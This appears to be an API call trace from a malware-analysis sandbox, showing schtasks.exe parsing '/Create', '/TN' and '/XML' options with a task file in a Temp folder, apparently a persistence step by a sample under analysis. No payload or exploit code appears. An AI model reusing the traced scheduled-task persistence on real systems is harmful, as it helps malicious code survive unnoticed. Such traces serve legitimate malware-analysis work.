RtlRestoreLastWin32Error () returned 0x490 [0206.746] RtlRestoreLastWin32Error () returned 0x0 [0206.746] lstrlenW (lpString="/XML") returned 4 [0206.746] GetProcessHeap () returned 0x410000 [0206.746] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0xa) returned 0x417398 [0206.746] GetProcessHeap () returned 0x410000 [0206.746] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419658 [0206.746] RtlRestoreLastWin32Error () returned 0x0 [0206.746] RtlRestoreLastWin32Error () returned 0x0 [0206.747] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.747] lstrlenW (lpString="-/") returned 2 [0206.747] StrChrIW (lpStart="-/", wMatch=0x770043) returned 0x0 [0206.747] RtlRestoreLastWin32Error () returned 0x490 [0206.747] RtlRestoreLastWin32Error () returned 0x490 [0206.747] RtlRestoreLastWin32Error () returned 0x0 [0206.747] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.747] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp", wMatch=0x3a) returned=":\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp" [0206.747] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.747] GetProcessHeap () returned 0x410000 [0206.747] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417428 [0206.747] _memicmp (_Buf1=0x417428, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.747] GetProcessHeap () returned 0x410000 [0206.747] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0xc) returned 0x417458 [0206.747] GetProcessHeap () returned 0x410000 [0206.747] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x41ad08 [0206.747] _memicmp (_Buf1=0x41ad08, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.748] GetProcessHeap () returned 0x410000 [0206.748] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x6e) returned 0x4169e8 [0206.748] RtlRestoreLastWin32Error () returned 0x7a [0206.748] RtlRestoreLastWin32Error () returned 0x0 [0206.748] RtlRestoreLastWin32Error () returned 0x0 [0206.748] lstrlenW (lpString="C") returned 1 [0206.748] RtlRestoreLastWin32Error () returned 0x490 [0206.748] RtlRestoreLastWin32Error () returned 0x0 [0206.748] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp") returned 52 [0206.748] GetProcessHeap () returned 0x410000 [0206.748] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x6a) returned 0x416a60 [0206.748] GetProcessHeap () returned 0x410000 [0206.748] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419538 [0206.749] RtlRestoreLastWin32Error () returned 0x0 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416c78) returned 1 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416c78) returned 0x8 [0206.749] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416c78) returned 1 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419378) returned 1 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419378) returned 0x14 [0206.749] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419378) returned 1 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416590) returned 1 [0206.749] GetProcessHeap () returned 0x410000 [0206.749] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416590) returned 0x2e [0206.750] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416590) returned 1 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419638) returned 1 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419638) returned 0x14 [0206.750] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419638) returned 1 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417398) returned 1 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417398) returned 0xa [0206.750] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417398) returned 1 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] GetProcessHeap () returned 0x410000 [0206.750] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419658) returned 1 [0206.750] GetProcessHeap () returned 0x410000 [0206.751] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419658) returned 0x14 [0206.751] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419658) returned 1 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x416a60) returned 1 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x416a60) returned 0x6a [0206.751] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x416a60) returned 1 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419538) returned 1 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419538) returned 0x14 [0206.751] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419538) returned 1 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417410) returned 1 [0206.751] GetProcessHeap () returned 0x410000 [0206.751] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417410) returned 0x10 [0206.752] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417410) returned 1 [0206.752] RtlRestoreLastWin32Error () returned 0x0 [0206.752] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0206.752] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0206.752] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0206.752] RtlVerifyVersionInfo (VersionInfo=0xdce60, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0206.752] RtlRestoreLastWin32Error () returned 0x0 [0206.752] lstrlenW (lpString="create") returned 6 [0206.752] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0206.752] RtlRestoreLastWin32Error () returned 0x490 [0206.752] RtlRestoreLastWin32Error () returned 0x0 [0206.752] lstrlenW (lpString="create") returned 6 [0206.752] GetProcessHeap () returned 0x410000 [0206.752] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419378 [0206.752] GetProcessHeap () returned 0x410000 [0206.753] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x41ab70 [0206.753] _memicmp (_Buf1=0x41ab70, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.753] GetProcessHeap () returned 0x410000 [0206.753] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x16) returned 0x419638 [0206.753] RtlRestoreLastWin32Error () returned 0x0 [0206.753] _memicmp (_Buf1=0x417350, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.753] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418d30, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0206.753] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xdcf6c | out: lpdwHandle=0xdcf6c) returned 0x76c [0206.753] GetProcessHeap () returned 0x410000 [0206.753] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x776) returned 0x419e08 [0206.753] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x419e08 | out: lpData=0x419e08) returned 1 [0206.753] VerQueryValueW (in: pBlock=0x419e08, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdcf74, puLen=0xdcf78 | out: lplpBuffer=0xdcf74*=0x41a1b8, puLen=0xdcf78) returned 1 [0206.753] _memicmp (_Buf1=0x417350, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.753] _vsnwprintf (in: _Buffer=0x418d30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdcf58 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0206.753] VerQueryValueW (in: pBlock=0x419e08, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdcf84, puLen=0xdcf80 | out: lplpBuffer=0xdcf84*=0x419fe8, puLen=0xdcf80) returned 1 [0206.754] lstrlenW (lpString="schtasks.exe") returned 12 [0206.754] lstrlenW (lpString="schtasks.exe") returned 12 [0206.754] lstrlenW (lpString=".EXE") returned 4 [0206.754] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0206.754] lstrlenW (lpString="schtasks.exe") returned 12 [0206.754] lstrlenW (lpString=".EXE") returned 4 [0206.754] lstrlenW (lpString="schtasks") returned 8 [0206.754] lstrlenW (lpString="/create") returned 7 [0206.754] _memicmp (_Buf1=0x417350, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.754] _vsnwprintf (in: _Buffer=0x418d30, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdcf58 | out: _Buffer="schtasks /create") returned 16 [0206.754] _memicmp (_Buf1=0x417320, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.754] GetProcessHeap () returned 0x410000 [0206.754] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x419398 [0206.754] _memicmp (_Buf1=0x417338, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.754] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x41a7e8, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0206.754] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0206.754] GetProcessHeap () returned 0x410000 [0206.754] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x30) returned 0x416590 [0206.754] _vsnwprintf (in: _Buffer=0x418f40, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdcf5c | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0206.754] GetProcessHeap () returned 0x410000 [0206.754] GetProcessHeap () returned 0x410000 [0206.754] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419e08) returned 1 [0206.754] GetProcessHeap () returned 0x410000 [0206.754] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419e08) returned 0x776 [0206.755] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419e08) returned 1 [0206.755] RtlRestoreLastWin32Error () returned 0x0 [0206.755] GetThreadLocale () returned 0x409 [0206.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.755] lstrlenW (lpString="create") returned 6 [0206.755] GetThreadLocale () returned 0x409 [0206.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.755] lstrlenW (lpString="?") returned 1 [0206.755] GetThreadLocale () returned 0x409 [0206.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.755] lstrlenW (lpString="s") returned 1 [0206.755] GetThreadLocale () returned 0x409 [0206.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.755] lstrlenW (lpString="u") returned 1 [0206.755] GetThreadLocale () returned 0x409 [0206.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.755] lstrlenW (lpString="p") returned 1 [0206.755] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="ru") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="rp") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="sc") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="mo") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="d") returned 1 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="m") returned 1 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="i") returned 1 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="tn") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="tr") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="st") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.756] lstrlenW (lpString="sd") returned 2 [0206.756] GetThreadLocale () returned 0x409 [0206.756] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="ed") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="it") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="et") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="k") returned 1 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="du") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="ri") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="z") returned 1 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="f") returned 1 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="v1") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="xml") returned 3 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="ec") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.757] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.757] lstrlenW (lpString="rl") returned 2 [0206.757] GetThreadLocale () returned 0x409 [0206.758] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.758] lstrlenW (lpString="delay") returned 5 [0206.758] GetThreadLocale () returned 0x409 [0206.758] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.758] lstrlenW (lpString="np") returned 2 [0206.758] GetThreadLocale () returned 0x409 [0206.758] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0206.758] lstrlenW (lpString="hresult") returned 7 [0206.758] RtlRestoreLastWin32Error () returned 0x0 [0206.758] RtlRestoreLastWin32Error () returned 0x0 [0206.758] lstrlenW (lpString="/Create") returned 7 [0206.758] lstrlenW (lpString="-/") returned 2 [0206.758] StrChrIW (lpStart="-/", wMatch=0x77002f) returned="/" [0206.758] lstrlenW (lpString="create") returned 6 [0206.758] lstrlenW (lpString="create") returned 6 [0206.758] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.758] lstrlenW (lpString="Create") returned 6 [0206.758] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.758] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|create|") returned 8 [0206.758] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|Create|") returned 8 [0206.758] lstrlenW (lpString="|create|") returned 8 [0206.758] lstrlenW (lpString="|Create|") returned 8 [0206.758] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0206.758] RtlRestoreLastWin32Error () returned 0x0 [0206.758] RtlRestoreLastWin32Error () returned 0x0 [0206.758] RtlRestoreLastWin32Error () returned 0x0 [0206.758] lstrlenW (lpString="/TN") returned 3 [0206.758] lstrlenW (lpString="-/") returned 2 [0206.758] StrChrIW (lpStart="-/", wMatch=0x77002f) returned="/" [0206.758] lstrlenW (lpString="create") returned 6 [0206.758] lstrlenW (lpString="create") returned 6 [0206.758] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.759] lstrlenW (lpString="TN") returned 2 [0206.759] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.759] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|create|") returned 8 [0206.759] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.759] lstrlenW (lpString="|create|") returned 8 [0206.759] lstrlenW (lpString="|TN|") returned 4 [0206.759] StrStrIW (lpFirst="|create|", lpSrch="|TN|") returned 0x0 [0206.759] RtlRestoreLastWin32Error () returned 0x490 [0206.759] lstrlenW (lpString="?") returned 1 [0206.759] lstrlenW (lpString="?") returned 1 [0206.759] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.759] lstrlenW (lpString="TN") returned 2 [0206.759] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.759] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|?|") returned 3 [0206.759] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.759] lstrlenW (lpString="|?|") returned 3 [0206.759] lstrlenW (lpString="|TN|") returned 4 [0206.759] RtlRestoreLastWin32Error () returned 0x490 [0206.759] lstrlenW (lpString="s") returned 1 [0206.759] lstrlenW (lpString="s") returned 1 [0206.759] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.759] lstrlenW (lpString="TN") returned 2 [0206.759] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.759] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|s|") returned 3 [0206.759] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.759] lstrlenW (lpString="|s|") returned 3 [0206.759] lstrlenW (lpString="|TN|") returned 4 [0206.759] RtlRestoreLastWin32Error () returned 0x490 [0206.759] lstrlenW (lpString="u") returned 1 [0206.759] lstrlenW (lpString="u") returned 1 [0206.759] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.760] lstrlenW (lpString="TN") returned 2 [0206.760] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.760] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|u|") returned 3 [0206.760] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.760] lstrlenW (lpString="|u|") returned 3 [0206.760] lstrlenW (lpString="|TN|") returned 4 [0206.760] RtlRestoreLastWin32Error () returned 0x490 [0206.760] lstrlenW (lpString="p") returned 1 [0206.760] lstrlenW (lpString="p") returned 1 [0206.760] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.760] lstrlenW (lpString="TN") returned 2 [0206.760] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.760] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|p|") returned 3 [0206.760] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.760] lstrlenW (lpString="|p|") returned 3 [0206.760] lstrlenW (lpString="|TN|") returned 4 [0206.760] RtlRestoreLastWin32Error () returned 0x490 [0206.760] lstrlenW (lpString="ru") returned 2 [0206.760] lstrlenW (lpString="ru") returned 2 [0206.760] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.760] lstrlenW (lpString="TN") returned 2 [0206.760] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.760] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|ru|") returned 4 [0206.760] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.760] lstrlenW (lpString="|ru|") returned 4 [0206.760] lstrlenW (lpString="|TN|") returned 4 [0206.760] StrStrIW (lpFirst="|ru|", lpSrch="|TN|") returned 0x0 [0206.760] RtlRestoreLastWin32Error () returned 0x490 [0206.760] lstrlenW (lpString="rp") returned 2 [0206.760] lstrlenW (lpString="rp") returned 2 [0206.761] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.761] lstrlenW (lpString="TN") returned 2 [0206.761] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.761] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|rp|") returned 4 [0206.761] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.761] lstrlenW (lpString="|rp|") returned 4 [0206.761] lstrlenW (lpString="|TN|") returned 4 [0206.761] StrStrIW (lpFirst="|rp|", lpSrch="|TN|") returned 0x0 [0206.761] RtlRestoreLastWin32Error () returned 0x490 [0206.761] lstrlenW (lpString="sc") returned 2 [0206.761] lstrlenW (lpString="sc") returned 2 [0206.761] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.761] lstrlenW (lpString="TN") returned 2 [0206.761] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.761] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|sc|") returned 4 [0206.761] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.761] lstrlenW (lpString="|sc|") returned 4 [0206.761] lstrlenW (lpString="|TN|") returned 4 [0206.761] StrStrIW (lpFirst="|sc|", lpSrch="|TN|") returned 0x0 [0206.761] RtlRestoreLastWin32Error () returned 0x490 [0206.761] lstrlenW (lpString="mo") returned 2 [0206.761] lstrlenW (lpString="mo") returned 2 [0206.761] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.761] lstrlenW (lpString="TN") returned 2 [0206.761] _memicmp (_Buf1=0x417440, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.761] _vsnwprintf (in: _Buffer=0x419698, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|mo|") returned 4 [0206.761] _vsnwprintf (in: _Buffer=0x4195b8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdcf48 | out: _Buffer="|TN|") returned 4 [0206.761] lstrlenW (lpString="|mo|") returned 4 [0206.761] lstrlenW (lpString="|TN|") returned 4 [0206.762] StrStrIW (lpFirst="|mo|", lpSrch="|TN|") returned 0x0 [0206.762] RtlRestoreLastWin32Error () returned 0x490 [0206.762] lstrlenW (lpString="d") returned 1 [0206.762] lstrlenW (lpString="d") returned 1 [0206.762] _memicmp (_Buf1=0x417488, _Buf2=0xd02708, _Size=0x7) returned 0 [0206.762] lstrlenW (lpString="TN") returned 2 